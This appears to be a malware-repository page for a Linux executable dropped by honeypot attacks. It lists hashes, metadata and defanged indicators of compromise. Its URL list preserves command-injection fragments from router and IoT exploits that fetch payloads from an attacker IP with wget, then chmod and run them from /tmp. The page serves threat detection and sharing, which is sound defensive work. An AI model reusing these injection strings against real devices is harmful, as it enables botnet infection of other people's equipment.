Sign In|Register
Back to Malware Drops

9e1d2cae8f59ca4c8311d15d0e81f203f2fabb37addf09f695631137308ea221

MD5c9aabc10c24e2031e289458660a9920a
SSDEEP3072:/K6COtKppL10TDSLgQG9jbS156jD3yZRfvGkg:C6COkjiTl9jbS156z
File Typeapplication/x-executable
Size121.4 KB
Sources24
Downloads0
First SeenOct 5, 2022
Last SeenOct 7, 2022
Download sample (.zip, password: infected)

Live malware — handle only in an isolated analysis environment.

Originating Attacks

Honeypot sessions that dropped this sample. Drop URLs are defanged; commands are shown verbatim and are not links.

Indicators of Compromise

Values are defanged (e.g. hxxp://, [.]) — not live links.

btc (1)

  • 3612f843a42db38f48f59d2a3597e19c

domain (3)

  • purenetworks[.]com
  • schemas[.]xmlsoap[.]org
  • www[.]w3[.]org

ipv4 (3)

  • 127[.]0[.]0[.]1
  • 192[.]168[.]0[.]100
  • 46[.]19[.]141[.]122

url (25)

  • hxxp://46[.]19[.]141[.]122/adb
  • hxxp://46[.]19[.]141[.]122/comtrend;
  • hxxp://46[.]19[.]141[.]122/dlink%20-O%20-
  • hxxp://46[.]19[.]141[.]122/dlink%20-O%20-%3E%20/tmp/dlink;chmod%20777%20/tmp/dlink;sh%20/tmp/dlink%27$
  • hxxp://46[.]19[.]141[.]122/goahead+
  • hxxp://46[.]19[.]141[.]122/gpon443+-O+/tmp/gaf;chmod+777+/tmp/gaf;sh+/tmp/gaf`&ipv=0
  • hxxp://46[.]19[.]141[.]122/gpon8080+-O+/tmp/gaf;chmod+777+/tmp/gaf;sh+/tmp/gaf`&ipv=0
  • hxxp://46[.]19[.]141[.]122/gpon80+-O+/tmp/gaf;chmod+777+/tmp/gaf;sh+/tmp/gaf`&ipv=0
  • hxxp://46[.]19[.]141[.]122/hnap
  • hxxp://46[.]19[.]141[.]122/jaws;+chmod+777+jaws;+sh+jaws
  • hxxp://46[.]19[.]141[.]122/lg;
  • hxxp://46[.]19[.]141[.]122/netlink%20-O%20-%3E%20/tmp/netlink;chmod%20777%20/tmp/netlink;sh%20/tmp/netlink%27/&waninf=1_INTERNET_R_VID_154$
  • hxxp://46[.]19[.]141[.]122/realtek
  • hxxp://46[.]19[.]141[.]122/soap
  • hxxp://46[.]19[.]141[.]122/thinkphp
  • hxxp://46[.]19[.]141[.]122/tr064;
  • hxxp://46[.]19[.]141[.]122/yarn;
  • hxxp://46[.]19[.]141[.]122/zyxel;chmod+777+zyxel;sh+zyxel;rm+-rf+zyxel7%3b%23&remoteSubmit=Save
  • hxxp://purenetworks[.]com/HNAP1/
  • hxxp://purenetworks[.]com/HNAP1/`cd
  • hxxp://qweqwe[.]com;$(wget%2046[.]19[.]141[.]122%2Fsymantec%20-O%20%2Ftmp%2Fsymantec%20&&%20chmod%20777%20%2Ftmp%2Fsymantec%20sh%20%2Ftmp%2Fsymantec
  • hxxp://schemas[.]xmlsoap[.]org/soap/encoding/
  • hxxp://schemas[.]xmlsoap[.]org/soap/envelope/
  • hxxp://www[.]w3[.]org/2001/XMLSchema
  • hxxp://www[.]w3[.]org/2001/XMLSchema-instance